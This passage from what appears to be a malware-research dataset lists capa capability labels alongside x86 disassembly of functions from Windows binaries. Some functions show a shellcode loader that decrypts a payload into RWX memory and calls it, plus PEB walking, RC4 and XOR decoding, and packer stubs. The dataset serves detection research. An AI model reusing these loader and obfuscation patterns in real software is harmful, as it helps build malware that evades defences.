joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4010e9
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0xc]
jmp 0x401118
push dword [ebp + 8]
mov esi, dword [esi]
push dword [esi + 0x30]
call fcn.0040107a
test eax, eax
pop ecx
pop ecx
je 0x401122
mov eax, dword [esi + 0x18]
test eax, eax
jne 0x401105
pop esi
leave
ret
mov eax, dword [esi + 0x18]
jmp 0x40111f

Function at 0x4011ae
Capabilities:
Encrypt data using rc4 prga
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push dword [0x40a074]
call fcn.0040177e
push dword [0x40a074]
mov dword [ebp - 0xc], eax
call fcn.0040177e
pop ecx
pop ecx
mov ecx, dword [0x40a074]
xor ebx, ebx
cmp ecx, ebx
mov esi, eax
mov dword [ebp - 8], ebx
jbe 0x401208
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
lea edi, [ebx + eax]
mov eax, dword [ebp - 0x10]
mov byte [eax + edi], bl
mov eax, ebx
cdq
idiv dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
inc ebx
cmp ebx, ecx
mov al, byte [edx + eax]
mov byte [edi], al
jb 0x4011e9
xor ebx, ebx
test ecx, ecx
jbe 0x401254
mov eax, dword [ebp - 0xc]
sub eax, esi
mov ebx, ecx
mov edi, esi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ebx
jmp 0x401222
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax + edi]
mov dl, byte [edi]
mov dword [ebp - 0x14], eax
movzx eax, dl
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 8]
add eax, edx
xor edx, edx
div ecx
lea eax, [edx + esi]
mov dword [ebp - 8], edx
mov dl, byte [eax]
mov byte [ebp - 1], dl
mov dl, byte [edi]
mov byte [eax], dl
mov al, byte [ebp - 1]
mov byte [edi], al
inc edi
dec dword [ebp - 0xc]
jne 0x40121f
mov edx, dword [ebp + 0xc]
and dword [ebp - 8], 0
test edx, edx
jle 0x4012d2
mov edi, dword [ebp + 0x18]
mov eax, dword [ebp + 8]
sub eax, edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], edx
jmp 0x401275
mov ecx, dword [0x40a074]
xor edx, edx
lea eax, [ebx + 1]
div ecx
push 0
push 0
mov ebx, edx
movzx eax, byte [ebx + esi]
add eax, dword [ebp - 8]
xor edx, edx
div ecx
mov dword [ebp - 0x10], ebx
mov bl, byte [ebx + esi]
lea eax, [edx + esi]
mov dword [ebp - 0x14], eax
mov al, byte [eax]
mov dword [ebp - 8], edx
mov edx, dword [ebp - 0x14]
mov byte [edx], bl
mov ebx, dword [ebp - 0x10]
mov byte [ebx + esi], al
movzx edx, byte [edx]
movzx eax, al
add eax, edx
xor edx, edx
div ecx
mov dword [ebp - 0x14], edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 0xc]
mov al, byte [eax + edi]
mov ecx, dword [ebp - 0x14]
xor al, byte [ecx + esi]
mov byte [edi], al
inc edi
dec dword [ebp + 0xc]
jne 0x40126f
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4015ba
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
mov edi, str.WMPlayerWindowEditor
jne 0x401631
push 0x28
lea eax, [ebp - 0x4c]
push esi
push eax
call fcn.00401850
add esp, 0xc
push 0x65
push ebx
mov dword [ebp - 0x4c], 3
mov dword [ebp - 0x48], 0x401429
mov dword [ebp - 0x3c], ebx
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x7f00
push esi
mov dword [ebp - 0x38], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 1
mov dword [ebp - 0x34], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x28], edi
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x401631
xor eax, eax
jmp 0x401728
mov dword [ebp - 4], esi
mov dword [ebp + 0xc], esi
mov dword [ebp + 8], esi
call fcn.004012fe
test eax, eax
jne 0x401665
push 0x408360
call fcn.004010e9
test eax, eax
pop ecx
je 0x401665
push 0x408350
push 0x400000
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 8], eax
lea eax, [ebp + 0xc]
push eax
push 0x409
push 0xc92
push 0x9ce
call fcn.00401127
add esp, 0x10
cmp eax, esi
mov dword [ebp - 8], eax
je 0x4016b3
push 0x40
push 0x3000
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x4016b3
push eax
push 0x71
push str.9n6_Fzl_SpcX6_6_98PsY1HugB3_yYQjJ94h9qao_HhRxL_MnxV1pCe7k9S_2JXCpLYF11NOGFlXu__E6nBQ_8_CRdF__gVA__lcIXXw
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [ebp + 8]
add esp, 0x14
call dword [ebp - 4]
push esi
push ebx
push esi
push esi
push 0x89
push 0x113
mov eax, 0x80000000
push eax
push eax
push 0x10ca0000
push str.Windows_Media_Player_HWND_Editor
push edi
push esi
call dword [sym.imp.USER32.dll_CreateWindowExA]
push dword [ebp + 0x14]
mov edi, eax
push edi
mov dword [0x40ad44], ebx
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov dword [0x40ad40], edi
mov edi, dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x401718
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push esi
push esi
push esi
lea eax, [ebp - 0x24]
push eax
call edi
test eax, eax
jne 0x401704
mov eax, dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x401841
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a07c]
jne 0x40184b
repz ret
jmp fcn.00402fc6
Function at 0x404cff
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00403add
xor ebx, ebx
cmp dword [0x40b6a0], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x404dd4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x404d3f
xor eax, eax
jmp 0x404e98
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x404d38
push eax
call fcn.00403a7a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b6a0], eax
call esi
push eax
call fcn.00403a7a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b6a4], eax
call esi
push eax
call fcn.00403a7a
mov dword [0x40b6a8], eax
lea eax, [ebp - 8]
push eax
call fcn.00402b14
test eax, eax
pop ecx
pop ecx
je 0x404da2
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040428b
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x404dd4
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00403a7a
cmp eax, ebx
pop ecx
mov dword [0x40b6b0], eax
je 0x404dd4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403a7a
pop ecx
mov dword [0x40b6ac], eax
mov eax, dword [0x40b6ac]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x404e4d
cmp dword [0x40b6b0], esi
je 0x404e4d
push eax
call fcn.00403ae6
pop ecx
call eax
cmp eax, ebx
je 0x404e1a
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x40b6b0]
call fcn.00403ae6
pop ecx
call eax
test eax, eax
je 0x404e1a
test byte [ebp - 0x18], 1
jne 0x404e4d
lea eax, [ebp - 0xc]
push eax
call fcn.00402b4b
test eax, eax
pop ecx
je 0x404e35
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040428b
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x404e44
or dword [ebp + 0x10], 0x200000
jmp 0x404e7e
or dword [ebp + 0x10], 0x40000
jmp 0x404e7e
mov eax, dword [0x40b6a4]
cmp eax, esi
je 0x404e7e
push eax
call fcn.00403ae6
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x404e7e
mov eax, dword [0x40b6a8]
cmp eax, esi
je 0x404e7e
push dword [ebp - 4]
push eax
call fcn.00403ae6
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x40b6a0]
call fcn.00403ae6
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x44bda0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x43a01d
lea edi, [esi - 0x3901d]
push edi
jmp 0x44bdba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x44bdc1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44bdb0
mov eax, 1
add ebx, ebx
jne 0x44bdd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x44bdc8
jne 0x44bde4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x44bdc8
xor ecx, ecx
sub eax, 3
jb 0x44bdf8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x44be6a
mov ebp, eax
add ebx, ebx
jne 0x44be03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x44be10
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x44be34
inc ecx
add ebx, ebx
jne 0x44be20
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x44be15
jne 0x44be31
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x44be15
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x44be54
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x44be45
jmp 0x44bdb6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x44be54
add edi, ecx
jmp 0x44bdb6
pop esi
mov edi, esi
mov ecx, 0x25
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x44be72
cmp byte [edi], 3
jne 0x44be72
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x44be77
lea edi, [esi + 0x49000]
mov eax, dword [edi]
or eax, eax
je 0x44bee6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x52874]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x528b0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x44bea4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x528b4]
or eax, eax
je 0x44bee0
mov dword [ebx], eax
add ebx, 4
jmp 0x44bec1
call dword [esi + 0x528c4]
mov ebp, dword [esi + 0x528b8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1a7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x44bf1a
sub esp, 0xffffff80
jmp 0x401df9
Function at 0x401e00
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00407ed0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00407ed0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401e60
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40d074]
test esi, esi
jle 0x401f80
mov eax, dword [0x40d078]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401e94
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401f17
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401e80
mov dword [esp], ebx
call fcn.00402850
mov edi, eax
test eax, eax
je 0x401fa7
mov eax, dword [0x40d078]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402990
mov edx, dword [0x40d078]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401f87
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401f10
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401f20
add dword [0x40d074], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40d078]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401f10
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401e00
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401e9e
mov eax, dword [0x40d078]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401e00
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401e00
lea esi, [esi]
nop
Function at 0x4024c0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d090
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d088]
sub esp, 4
test ebx, ebx
je 0x402515
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40250e
test esi, esi
je 0x40250e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4024f0
mov dword [esp], 0x40d090
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402850
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402875
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402880
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402875
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x4028c8
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4028be
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4028ca
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4028b0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
mov ecx, 0x51d51d4c
nop
nop
nop
nop
test eax, eax
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x1456749c
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x4022f0
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x1c
mov eax, dword [0x52cfb4]
xor eax, esp
mov dword [esp + 0x18], eax
cmp dword [0x541120], 0x434f4e53
jne 0x402368
cmp dword [0x541968], 3
je 0x40234e
mov eax, dword [0x541128]
test eax, eax
je 0x402325
push eax
call fcn.0049bee5
add esp, 4
lea eax, [esp]
push eax
push dword [0x541134]
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx edx, word [esp + 6]
sub edx, dword [esp + 0x20]
shl edx, 0x10
push edx
push dword [0x541134]
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x18], 0
xor ecx, esp
cmp ecx, dword [0x52cfb4]
jne 0x402382
add esp, 0x1c
ret
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x18], 0
xor ecx, esp
cmp ecx, dword [0x52cfb4]
jne 0x402382
add esp, 0x1c
ret
call fcn.00497ce0
nop word [eax + eax]
Function at 0x405530
Capabilities:
Write file on windows

Disassembly:
push esi
push edi
push ebx
push ebp
sub esp, 0x1c
mov edx, dword [esp + 0x40]
mov esi, dword [esp + 0x30]
push esi
push 4
push 1
push str.RIFF
lea eax, [edx + 7]
sar eax, 2
shr eax, 0x1d
lea ebp, [eax + edx + 7]
sar ebp, 3
call fcn.0049c4ae
mov edx, dword [esp + 0x44]
lea edi, [esp + 0x10]
lea eax, [edx + 0x24]
mov byte [edi], al
mov ecx, eax
mov ebx, eax
shr ecx, 8
shr ebx, 0x10
shr eax, 0x18
mov byte [edi + 1], cl
mov byte [edi + 2], bl
mov byte [edi + 3], al
push esi
push 4
push 1
push edi
call fcn.0049c4ae
push esi
push 4
push 2
push str.WAVEfmt
call fcn.0049c4ae
xor eax, eax
lea edx, [esp + 0x34]
mov byte [edx], 0x10
mov byte [edx + 1], al
mov byte [edx + 2], al
mov byte [edx + 3], al
push esi
push 4
push 1
push edx
call fcn.0049c4ae
mov eax, 1
lea edx, [esp + 0x54]
mov byte [edx], al
mov byte [edx + 1], 0
push esi
push 2
push eax
push edx
call fcn.0049c4ae
mov eax, dword [esp + 0x8c]
lea edx, [esp + 0x66]
mov byte [edx], al
shr eax, 8
mov byte [edx + 1], al
push esi
push 2
push 1
push edx
call fcn.0049c4ae
mov ebx, dword [esp + 0x98]
mov eax, ebx
mov edx, ebx
mov ecx, ebx
shr eax, 8
lea edi, [esp + 0x68]
shr edx, 0x10
shr ecx, 0x18
mov byte [edi], bl
mov byte [edi + 1], al
mov byte [edi + 2], dl
mov byte [edi + 3], cl
push esi
push 4
push 1
push edi
call fcn.0049c4ae
add esp, 0x70
imul ebx, dword [esp + 0x3c]
lea ecx, [esp + 0xc]
imul ebx, ebp
mov eax, ebx
mov edx, ebx
mov byte [ecx], bl
shr eax, 8
shr edx, 0x10
shr ebx, 0x18
mov byte [ecx + 1], al
mov byte [ecx + 2], dl
mov byte [ecx + 3], bl
push esi
push 4
push 1
push ecx
call fcn.0049c4ae
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x28]
imul eax, ebp
mov byte [edx], al
shr eax, 8
mov byte [edx + 1], al
push esi
push 2
push 1
push edx
call fcn.0049c4ae
mov eax, dword [esp + 0x60]
lea edx, [esp + 0x3a]
mov byte [edx], al
shr eax, 8
mov byte [edx + 1], al
push esi
push 2
push 1
push edx
call fcn.0049c4ae
push esi
push 4
push 1
push str.data
call fcn.0049c4ae
mov ecx, dword [esp + 0x74]
mov eax, ecx
mov edx, ecx
lea ebx, [esp + 0x50]
mov byte [ebx], cl
shr eax, 8
shr edx, 0x10
shr ecx, 0x18
mov byte [ebx + 1], al
mov byte [ebx + 2], dl
mov byte [ebx + 3], cl
push esi
push 4
push 1
push ebx
call fcn.0049c4ae
push esi
call fcn.0049bf4e
xor edx, edx
cmp edx, eax
sbb edx, 0
mov eax, edx
add esp, 0x70
pop ebp
pop ebx
pop edi
pop esi
ret
Function at 0x406ac0
Capabilities:
Read file on windows

Disassembly:
push esi
push ebx
mov eax, 0x1038
call fcn.00497d00
mov eax, dword [0x52cfb4]
mov ebx, dword [esp + 0x1044]
xor eax, esp
mov esi, dword [esp + 0x1048]
mov dword [esp + 0x1034], eax
push ebx
call fcn.0049d740
mov edx, eax
lea eax, [esp + 0x1008]
push eax
push edx
call fcn.0049d37f
add esp, 0xc
test eax, eax
jne 0x406b81
movzx eax, word [esp + 0x100a]
test eax, 0x1000
je 0x406b81
test esi, esi
jl 0x406c53
jle 0x406b56
mov dword [esp], edi
lea eax, [esp + 4]
mov edi, ebx
mov ebx, eax
mov edx, 0x1000
cmp esi, 0x1000
push edi
cmovbe edx, esi
push edx
push 1
push ebx
call fcn.0049c145
add esp, 0x10
cmp eax, 1
jb 0x406c26
sub esi, eax
test esi, esi
jg 0x406b29
mov edi, dword [esp]
mov ecx, dword [esp + 0x1034]
mov dword [esp + 0x1034], 0
xor ecx, esp
cmp ecx, dword [0x52cfb4]
jne 0x406c21
xor eax, eax
add esp, 0x1038
pop ebx
pop esi
ret
push 1
push esi
push ebx
call fcn.0049cd22
add esp, 0xc
test eax, eax
je 0x406bfa
test esi, esi
jl 0x406c92
jle 0x406bd3
mov dword [esp], edi
lea eax, [esp + 4]
mov edi, ebx
mov ebx, eax
mov edx, 0x1000
cmp esi, 0x1000
push edi
cmovbe edx, esi
push edx
push 1
push ebx
call fcn.0049c145
add esp, 0x10
cmp eax, 1
jb 0x406c71
sub esi, eax
test esi, esi
jg 0x406ba6
mov edi, dword [esp]
mov ecx, dword [esp + 0x1034]
mov dword [esp + 0x1034], 0
xor ecx, esp
cmp ecx, dword [0x52cfb4]
jne 0x406c21
xor eax, eax
add esp, 0x1038
pop ebx
pop esi
ret
mov ecx, dword [esp + 0x1034]
mov dword [esp + 0x1034], 0
xor ecx, esp
cmp ecx, dword [0x52cfb4]
jne 0x406c21
xor eax, eax
add esp, 0x1038
pop ebx
pop esi
ret
call fcn.00497ce0
mov ecx, dword [esp + 0x1034]
mov dword [esp + 0x1034], 0
xor ecx, esp
mov edi, dword [esp]
cmp ecx, dword [0x52cfb4]
jne 0x406c21
mov eax, 0xffffffff
add esp, 0x1038
pop ebx
pop esi
ret
mov ecx, dword [esp + 0x1034]
mov dword [esp + 0x1034], 0
xor ecx, esp
cmp ecx, dword [0x52cfb4]
jne 0x406c21
jmp 0x406c45
mov ecx, dword [esp + 0x1034]
mov dword [esp + 0x1034], 0
xor ecx, esp
mov edi, dword [esp]
cmp ecx, dword [0x52cfb4]
jne 0x406c21
jmp 0x406c45
cmp dword [0x52ef48], 0xa
jl 0x406cbd
mov ecx, dword [esp + 0x1034]
mov dword [esp + 0x1034], 0
xor ecx, esp
cmp ecx, dword [0x52cfb4]
jne 0x406c21
jmp 0x406c45
push str.fskip_problem:_Mostly_the_return_status_of_functions_is_not_evaluated__so_it_is_more_secure_to_pollute__stderr_._n
call fcn.004023b0
add esp, 4
jmp 0x406c9b
Function at 0x406cd0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov eax, 0x103c
call fcn.00497d00
mov eax, dword [0x52cfb4]
mov ebx, dword [esp + 0x1044]
xor eax, esp
mov dword [esp + 0x1038], eax
push ebx
call fcn.0049d740
mov edx, eax
lea eax, [esp + 0x100c]
push eax
push edx
call fcn.0049d37f
add esp, 0xc
test eax, eax
jne 0x406d91
movzx eax, word [esp + 0x100e]
test eax, 0x1000
je 0x406d91
mov edx, 0x7fffffff
lea eax, [esp + 8]
mov dword [esp + 4], esi
mov esi, ebx
mov dword [esp], edi
mov ebx, eax
mov edi, edx
mov ecx, 0x1000
cmp edi, 0x1000
push esi
cmovbe ecx, edi
push ecx
push 1
push ebx
call fcn.0049c145
add esp, 0x10
cmp eax, 1
jb 0x406e39
sub edi, eax
test edi, edi
jg 0x406d36
mov ecx, dword [esp + 0x1038]
mov dword [esp + 0x1038], 0
xor ecx, esp
mov esi, dword [esp + 4]
mov edi, dword [esp]
cmp ecx, dword [0x52cfb4]
jne 0x406e34
xor eax, eax
add esp, 0x103c
pop ebx
ret
push 1
push 0x7fffffff
push ebx
call fcn.0049cd22
add esp, 0xc
test eax, eax
jne 0x406dcb
mov ecx, dword [esp + 0x1038]
mov dword [esp + 0x1038], 0
xor ecx, esp
cmp ecx, dword [0x52cfb4]
jne 0x406e34
xor eax, eax
add esp, 0x103c
pop ebx
ret
mov edx, 0x7fffffff
lea eax, [esp + 8]
mov dword [esp + 4], esi
mov esi, ebx
mov dword [esp], edi
mov ebx, eax
mov edi, edx
mov ecx, 0x1000
cmp edi, 0x1000
push esi
cmovbe ecx, edi
push ecx
push 1
push ebx
call fcn.0049c145
add esp, 0x10
cmp eax, 1
jb 0x406e69
sub edi, eax
test edi, edi
jg 0x406de1
mov ecx, dword [esp + 0x1038]
mov dword [esp + 0x1038], 0
xor ecx, esp
mov esi, dword [esp + 4]
mov edi, dword [esp]
cmp ecx, dword [0x52cfb4]
jne 0x406e34
xor eax, eax
add esp, 0x103c
pop ebx
ret
call fcn.00497ce0
mov ecx, dword [esp + 0x1038]
mov dword [esp + 0x1038], 0
xor ecx, esp
mov esi, dword [esp + 4]
mov edi, dword [esp]
cmp ecx, dword [0x52cfb4]
jne 0x406e34
mov eax, 0xffffffff
add esp, 0x103c
pop ebx
ret
mov ecx, dword [esp + 0x1038]
mov dword [esp + 0x1038], 0
xor ecx, esp
mov esi, dword [esp + 4]
mov edi, dword [esp]
cmp ecx, dword [0x52cfb4]
jne 0x406e34
jmp 0x406e5c
Function at 0x429780
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
push ebx
push ebp
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x18]
movzx eax, word [ecx]
cmp edx, 8
jl 0x429840
mov edi, edx
xor ebp, ebp
shr edi, 3
movzx ecx, byte [ebx + ebp*8 + 1]
shl ecx, 8
movzx esi, byte [ebx + ebp*8]
or ecx, esi
xor eax, ecx
movzx esi, al
shr eax, 8
movzx ecx, word [esi*2 + 0x4be6c0]
movzx eax, word [eax*2 + 0x4be4c0]
xor ecx, eax
movzx eax, byte [ebx + ebp*8 + 2]
movzx esi, word [eax*2 + 0x4be2c0]
xor ecx, esi
movzx eax, byte [ebx + ebp*8 + 3]
movzx esi, word [eax*2 + 0x4be0c0]
xor ecx, esi
movzx eax, byte [ebx + ebp*8 + 4]
movzx esi, word [eax*2 + 0x4bdec0]
xor ecx, esi
movzx eax, byte [ebx + ebp*8 + 5]
movzx esi, word [eax*2 + 0x4bdcc0]
xor ecx, esi
movzx eax, byte [ebx + ebp*8 + 6]
movzx esi, word [eax*2 + 0x4bdac0]
xor ecx, esi
movzx eax, byte [ebx + ebp*8 + 7]
inc ebp
movzx eax, word [eax*2 + 0x4bd8c0]
xor eax, ecx
cmp ebp, edi
jb 0x4297a3
mov ecx, dword [esp + 0x14]
lea edi, [ebp*8]
neg edi
lea ebx, [ebx + ebp*8]
add edx, edi
test edx, edx
je 0x4298ad
mov edi, edx
shr edi, 1
je 0x4298b5
xor ebp, ebp
mov ecx, eax
movzx eax, al
movzx esi, byte [ebx + ebp*2]
xor eax, esi
shr ecx, 8
movzx esi, byte [ebx + ebp*2 + 1]
inc ebp
movzx eax, word [eax*2 + 0x4bd8c0]
xor ecx, eax
movzx ecx, cx
mov eax, ecx
movzx ecx, cl
xor ecx, esi
